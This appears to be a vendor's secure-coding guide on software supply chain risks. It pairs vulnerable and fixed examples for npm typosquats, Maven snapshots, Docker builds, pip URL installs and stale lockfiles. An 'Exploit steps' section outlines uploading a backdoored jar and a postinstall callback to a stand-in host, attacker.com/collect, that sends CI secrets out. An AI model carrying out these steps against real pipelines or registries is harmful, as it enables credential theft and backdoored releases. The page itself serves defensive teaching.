Dependency & Supply Chain Risks

Software Supply ChainMalicious PackagesVulnerable Dependencies

Dependency & Supply Chain Risks at a glance

What it is: Risks introduced by third party packages, build artifacts, container images, and the tooling that fetches them.

Why it happens: Supply chain vulnerabilities occur when package managers, build pipelines, or artifact repositories trust unverified or mutable sources, include malicious or outdated dependencies, or expose secrets during builds.

How to fix: Pin and verify dependencies with SBOMs and signatures, harden CI by isolating builds and limiting secrets, and regularly review and rotate credentials and dependency trees.

Overview

Dependency and supply chain risks include typosquatting, malicious install scripts, use of mutable artifacts (snapshots), untrusted third-party indexes, leaked secrets in build artifacts, and known vulnerable transitive packages. These issues let attackers run code in developer machines, CI, or production, often with elevated access.

sequenceDiagram participant CI as CI Runner participant Registry as Package Registry note over Registry: Malicious package 'expresss' published with postinstall script CI->>Registry: npm install Registry-->>CI: returns 'expresss' package note over CI: postinstall exfiltrates secrets and writes backdoor

A potential flow for a Dependency & Supply Chain Risks exploit

Where it occurs

It occurs in package managers, container builds, and CI pipelines that install or publish unverified artifacts, exposing systems to malicious, outdated, or tampered dependencies.

Impact

Supply chain compromises can result in remote code execution during build or runtime, theft of CI secrets, insertion of backdoors, and widespread distribution of malicious code across many projects. The impact is often broad and recovery requires rotating keys, rebuilding images, and coordinating with users.

Prevention

Prevent dependency attacks by using immutable releases with verified hashes, internal vetted mirrors, isolated installs, SBOMs with CI vulnerability scans and signature checks, restricted build secrets, and regularly refreshed lockfiles and patches.

Examples

Switch tabs to view language/framework variants.

NPM typosquat package runs malicious postinstall script

An attacker publishes a package with a name similar to a popular library. Installers mistype the package name and run attacker code during npm install.

Vulnerable

JavaScript • Node/NPM — Bad

package.json (user project)
{
  "dependencies": {
    "expresss": "^4.18.2" // typo: attacker package 'expresss' contains postinstall script
  }
}

Line 4: Typo in dependency name can pull attacker package

Typosquatted packages with install-time scripts run during npm install and can execute arbitrary code on CI or developer machines.

Secure

JavaScript • Node/NPM — Good

/* package.json: pin verified package and avoid running arbitrary install scripts in CI */
{
  "dependencies": {
    "express": "4.18.2"
  }
}
/* CI: npm ci --ignore-scripts and use an allow list for needed scripts */

Line 2: Pin exact package name and version, avoid running install scripts in untrusted CI

Pin exact dependencies, prefer 'npm ci' with lockfile, disable install scripts in CI or run installs in restricted environments, and use package signature verification and provenance tools.

Maven pulls unvetted snapshot artifact from public repository

Project depends on a snapshot artifact hosted on an untrusted repository. The artifact is updated by an attacker and later pulled in CI.

Vulnerable

Java • Maven — Bad

<dependency>
  <groupId>com.example</groupId>
  <artifactId>utils</artifactId>
  <version>1.0-SNAPSHOT</version>
</dependency>
<repositories>
  <repository>
    <id>temp-repo</id>
    <url>https://public-repo.example/</url>
  </repository>
</repositories>

Line 3: Use of 1.0-SNAPSHOT and external repository is risky

Snapshot versions are mutable and attackers who can publish to the referenced repo can push malicious code into your build.

Secure

Java • Maven — Good

/* pom.xml: depend on a released version and use internal artifact mirrors */
<dependency>
  <groupId>com.example</groupId>
  <artifactId>utils</artifactId>
  <version>1.0.0</version>
</dependency>
<!-- Configure Maven to use a vetted internal repository mirror and enable artifact signing checks -->

Line 2: Depend on immutable released versions and use internal mirrors with signed artifacts

Use immutable releases, internal mirrors, and verify GPG signatures or checksum matches before consuming artifacts.

Docker build copies full repo including .git exposing secrets in image layers

Dockerfile copies the repository into the image, which includes .git and leaking secrets from history to image layers and registries.

Vulnerable

Dockerfile • Docker — Bad

FROM node:20
WORKDIR /app
COPY . /app
RUN npm ci && npm run build
CMD ["node","dist/index.js"]

Line 3: COPY . includes .git and any local secrets

Including the full repo in images exposes files and git history via image layers and registries.

Secure

Dockerfile • Docker — Good

FROM node:20
WORKDIR /app
# copy only necessary files
COPY package.json package-lock.json ./
RUN npm ci
COPY src/ ./src/
RUN npm run build
CMD ["node","dist/index.js"]
# ensure .dockerignore contains .git and secrets

Line 3: Only copy the required source and package files; add .git to .dockerignore

Minimize build context, use .dockerignore, and never push images that contain repository metadata or secrets.

pip installs package from arbitrary URL which contains executable wheel

requirements.txt references a direct URL to a wheel hosted on an untrusted server. The wheel contains compiled extensions or installer hooks that perform malicious actions during install.

Vulnerable

Python • pip — Bad

requirements.txt
https://untrusted.example.com/packages/custom_utils-1.0-py3-none-any.whl

Line 1: Direct URL to wheel hosted on untrusted server

Arbitrary wheels can contain install-time code and native extensions that execute on the host.

Secure

Python • pip — Good

requirements.txt
# Depend on vetted packages from internal index only, or include hashes
custom_utils==1.0 --index-url https://internal-pypi.example/simple
# or use pip --require-hashes in CI with locked hashes

Line 1: Use internal indexes or pinned hashes and avoid arbitrary file URLs

Use private package indices, require hash verification, and avoid direct URL installs in automated builds.

Transitive dependency has known CVE; lockfile not updated

Project indirectly depends on a vulnerable package. The lockfile is old and CI allows installs that include the vulnerable version.

Vulnerable

JavaScript • npm — Bad

package.json
{
  "dependencies": {
    "popular-lib": "^2.0.0"
  }
}
# package-lock.json pins vulnerable-lib@1.2.3 which has a CVE

Line 3: Package-lock contains pinned vulnerable version

Transitive packages may carry critical CVEs which are not visible in top-level package.json but are installed by lockfiles.

Secure

JavaScript • npm — Good

/* Update lockfile and patch transitive dependency; add automated dependency scanning */
$ npm audit fix --package-lock-only
commit package-lock.json
/* Or explicitly override the transitive version using 'overrides' in package.json */

Line 1: Run automated dependency scanning and refresh lockfiles regularly

Refresh lockfiles, automate vulnerability alerts, and use overrides or patched versions when maintainers are slow to fix.

Engineer Checklist

Maintain and commit lockfiles and refresh them regularly
Use private mirrors or artifact proxies, and verify checksums and signatures for artifacts
Disable or isolate install-time scripts in CI, e.g. run installs with --ignore-scripts in shared runners
Build images without .git and do not include repository metadata or local secrets
Generate and track SBOMs and run automated SCA (software composition analysis) in CI
Limit secrets in build environments and rotate any secrets exposed during an incident

End-to-End Example

A web app references a transient snapshot from an external repo and a mis-typed npm dependency. CI runs npm install on a shared runner with repository secrets available. An attacker publishes a malicious snapshot and typosquatted package. When CI builds, install-time scripts run and exfiltrate secrets and implant a backdoor in the artifact that is later deployed.

Vulnerable

JAVASCRIPT

package.json: "expresss": "^4.18.2" and pom.xml: dependency on 1.0-SNAPSHOT with external repo

Secure

JAVASCRIPT

/* CI: use npm ci --ignore-scripts in shared runners, use internal mirror, and pin versions */
// Example: enforce install with hashes and internal index
pipelines:
  build:
    steps:
      - run: npm ci --ignore-scripts
      - run: verify-sbom && signed-artifact-check

Discovery

This vulnerability is discovered by scanning application dependencies for known vulnerabilities using tools like npm audit, identifying outdated packages with published CVEs, or detecting malicious packages in the dependency tree.

1. Scan package manifest for typos
cli
Action

Review package.json for suspicious package names and typosquatting

Request

GET N/A - Analysis or internal step
Response
Status: 200

Body:

{ "note": "Package name 'expresss' found instead of 'express'" }
Artifacts

package_manifest
2. Check for mutable dependencies
cli
Action

Search build configs for SNAPSHOT versions and external repo URLs

Request

GET N/A - Analysis or internal step
Response
Status: 200

Body:

{ "note": "Maven SNAPSHOT dependency and external repository URL found" }
Artifacts

grep_output vulnerable_configs
3. Inspect CI configuration
cli
Action

Review CI pipeline for install-time script execution and secret exposure

Request

GET N/A - Analysis or internal step
Response
Status: 200

Body:

{ "note": "npm install runs without --ignore-scripts flag, secrets mounted during build" }
Artifacts

ci_config
4. Analyze package behavior
cli
Action

Examine typosquatted package for malicious postinstall hooks

Request

GET N/A - Analysis or internal step
Response
Status: 200

Body:

{ "note": "Package contains suspicious postinstall script that exfiltrates data" }
Artifacts

package_metadata install_scripts

Exploit steps

An attacker exploits this by leveraging known vulnerabilities in outdated dependencies (like remote code execution, authentication bypass, or data exposure flaws) or by introducing malicious code through compromised supply chain packages.

1. Publish typosquatted package

Upload malicious npm package
cli
Action

Attacker publishes 'expresss' package with malicious postinstall script to npm registry

Request

GET N/A - Analysis or internal step
Response
Status: 200

Body:

{ "note": "Malicious package published and available for installation" }
Artifacts

npm_publish_output package_id
2. Publish malicious SNAPSHOT artifact

Upload poisoned Maven snapshot
http
Action

Attacker uploads backdoored 1.0-SNAPSHOT to external Maven repository
Request
PUT https://public-repo.example/com/example/lib/1.0-SNAPSHOT/lib-1.0-SNAPSHOT.jar

Headers:

Content-Type: application/java-archive

Body:

"<BACKDOORED_JAR_BYTES>"
Response
Status: 200

Body:

{ "note": "Malicious snapshot uploaded and available for CI consumption" }
Artifacts

upload_response artifact_checksum
3. Trigger CI build and secret exfiltration

Wait for automated CI execution
network
Action

CI runs npm install and Maven build, executing malicious postinstall scripts that exfiltrate environment secrets

Request

callback https://attacker.com/collect
Response
Status: 200

Body:

{ "note": "Secrets including AWS keys, API tokens sent to attacker server" }
Artifacts

exfiltrated_secrets ci_build_logs
4. Deploy backdoored artifact to production

Backdoor propagates to production
deployment
Action

Poisoned build artifact automatically deploys, establishing persistent backdoor access

Request

automated_deploy N/A - Analysis or internal step
Response
Status: 200

Body:

{ "note": "Production application contains backdoor, attacker gains persistent access" }
Artifacts

deployed_artifact backdoor_access

Specific Impact

CI secrets are exfiltrated and used to access production infrastructure. Backdoored artifacts are deployed, enabling persistent access and data exfiltration. Recovery requires rotation of CI and production secrets, rebuilds from verified sources, and notification to stakeholders.

The incident undermines trust in the software supply chain and may force customers to audit or rotate credentials and keys that were embedded or accessible during build time.

Fix

Isolate builds, avoid running untrusted install scripts, pin dependencies with lockfiles, and use internal mirrors. Verify artifacts with signatures or hashes before consuming, and minimize secrets available to build agents. Maintain SBOMs and automated SCA to detect vulnerable or malicious transitive dependencies.

Detect This Vulnerability in Your Code

Sourcery automatically identifies dependency & supply chain risks vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free